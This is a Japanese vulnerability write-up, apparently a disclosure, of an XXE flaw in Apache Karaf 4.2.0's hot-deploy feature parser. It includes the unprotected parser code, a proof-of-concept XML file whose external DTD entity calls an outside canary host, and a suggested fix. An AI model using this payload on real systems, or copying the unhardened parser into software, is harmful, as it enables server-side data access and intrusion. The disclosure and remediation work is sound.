
Apache Karafは、現代的で多態性のあるアプリケーションコンテナです。OSGiを基盤とした軽量で強力なエンタープライズ対応のコンテナです。Apache Karafは「プロダクトプロジェクト」であり、完全でターンキーのランタイムを提供します。このランタイムは「多面的」であり、OSGiおよび非OSGiアプリケーション、Webアプリケーション、サービスベースのアプリケーションなど、さまざまな種類のアプリケーションをデプロイできます。
最近のApache Karafの調査において、そのXMLパーサーにXXE(XML External Entityインジェクション)の脆弱性が存在することを発見しました。これは、パーサーがXMLドキュメントを適切に解析しないことが原因です。
公式マニュアルによると、Apache Karafはデフォルトでフィーチャーデプロイヤを提供しており、ユーザーがdeployフォルダにファイルを直接ドロップすることでフィーチャーXMLをホットデプロイできます。
deployフォルダにフィーチャーXMLをドロップすると、フィーチャーデプロイヤは次の処理を行います:
例えば、以下のXMLをdeployフォルダにドロップすると、feature1とfeature2が自動的にインストールされ、feature3はインストールされません:
<?xml version="1.0" encoding="UTF-8"?>
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="feature1" version="1.0" install="auto">
...
</feature>
<feature name="feature2" version="1.0" install="auto">
...
</feature>
<feature name="feature3" version="1.0">
...
</feature>
</features>
デプロイヤがXMLファイルをどのように処理するかを調べるために、GitHubでKarafのソースコードを確認し、以下のような呼び出しを見つけました:
ActivatorクラスはdoStart()関数を呼び出してデプロイヤのリスナーを起動しますdoStart()関数はFeatureDeploymentListener.init()を呼び出してリスナーを初期化しますbundleChanged - canHandle - getRootElementNameを呼び出して、XMLInputFactoryを利用してXMLドキュメントを解析しますしかし、以下のgetRootElementName関数をさらに調査したところ、XXEに対する防御は一切ありませんでした。
private QName getRootElementName(File artifact) throws Exception {
if (xif == null) {
xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, true);
}
try (InputStream is = new FileInputStream(artifact)) {
XMLStreamReader sr = xif.createXMLStreamReader(is);
sr.nextTag();
return sr.getName();
}
}
したがって、これはApache Karafに潜在的なセキュリティリスクをもたらすと推測しました。
この推測を検証するために、Apache Karaf 4.2.0の最新公式リリースをhttps://karaf.apache.org/download.htmlからダウンロードし、以下のようにテストしました。
bin$ ./karaf
__ __ ____
/ //_/____ __________ _/ __/
/ ,< / __ `/ ___/ __ `/ /_
/ /| |/ /_/ / / / /_/ / __/
/_/ |_|\__,_/_/ \__,_/_/
Apache Karaf (4.2.0)
Hit '<tab>' for a list of available commands
and '[cmd] --help' for help on a specific command.
Hit '<ctrl-d>' or type 'system:shutdown' or 'logout' to shutdown Karaf.
karaf@root()>
27av6zyg33g8q8xu338uvhnsc.canarytokens.com<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="deployer" version="2.0" install="auto">
</feature>
</features>
apache-karaf-4.2.0$ cd deploy/
deploy$ tree
.
├── README
└── poc.xml
しばらく待つと、テストマシンからのDNSリクエストが表示されます。これはXMLパーサーがDTDに埋め込まれた外部エンティティを読み込もうとしていることを意味します。

以下のOWASPガイドに従ってください。この脆弱性を防ぐための簡潔な情報が提供されています。 https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java
例えば、getRootElementName関数に以下のコードを追加して、DTDと外部エンティティを無効にします。
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities
上記の発見に加えて、Apache Karafプロジェクト内の別のクラスXmlUtilsでも、XMLドキュメントを解析する際にXXE脆弱性に対する保護が追加されていないことを発見しました。
package org.apache.karaf.util;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.transform.Result;
import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import org.w3c.dom.Document;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
/**
* Utils class to manipulate XML document in a thread safe way.
*/
public class XmlUtils {
private static final ThreadLocal<DocumentBuilderFactory> DOCUMENT_BUILDER_FACTORY = new ThreadLocal<>();
private static final ThreadLocal<TransformerFactory> TRANSFORMER_FACTORY = new ThreadLocal<>();
private static final ThreadLocal<SAXParserFactory> SAX_PARSER_FACTORY = new ThreadLocal<>();
public static Document parse(String uri) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(uri);
} finally {
db.reset();
}
}
public static Document parse(InputStream stream) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(stream);
} finally {
db.reset();
}
}
public static Document parse(File f) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(f);
} finally {
db.reset();
}
}
public static Document parse(File f, ErrorHandler errorHandler) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
db.setErrorHandler(errorHandler);
try {
return db.parse(f);
} finally {
db.reset();
}
}
public static void transform(Source xmlSource, Result outputTarget) throws TransformerException {
Transformer t = transformer();
try {
t.transform(xmlSource, outputTarget);
} finally {
t.reset();
}
}
public static void transform(Source xsltSource, Source xmlSource, Result outputTarget) throws TransformerException {
Transformer t = transformer(xsltSource);
try {
t.transform(xmlSource, outputTarget);
} finally {
t.reset();
}
}
public static XMLReader xmlReader() throws ParserConfigurationException, SAXException {
SAXParserFactory spf = SAX_PARSER_FACTORY.get();
if (spf == null) {
spf = SAXParserFactory.newInstance();
spf.setNamespaceAware(true);
SAX_PARSER_FACTORY.set(spf);
}
return spf.newSAXParser().getXMLReader();
}
public static DocumentBuilder documentBuilder() throws ParserConfigurationException {
DocumentBuilderFactory dbf = DOCUMENT_BUILDER_FACTORY.get();
if (dbf == null) {
dbf = DocumentBuilderFactory.newInstance();
dbf.setNamespaceAware(true);
DOCUMENT_BUILDER_FACTORY.set(dbf);
}
return dbf.newDocumentBuilder();
}
public static Transformer transformer() throws TransformerConfigurationException {
TransformerFactory tf = TRANSFORMER_FACTORY.get();
if (tf == null) {
tf = TransformerFactory.newInstance();
TRANSFORMER_FACTORY.set(tf);
}
return tf.newTransformer();
}
private static Transformer transformer(Source xsltSource) throws TransformerConfigurationException {
TransformerFactory tf = TRANSFORMER_FACTORY.get();
if (tf == null) {
tf = TransformerFactory.newInstance();
TRANSFORMER_FACTORY.set(tf);
}
return tf.newTransformer(xsltSource);
}
}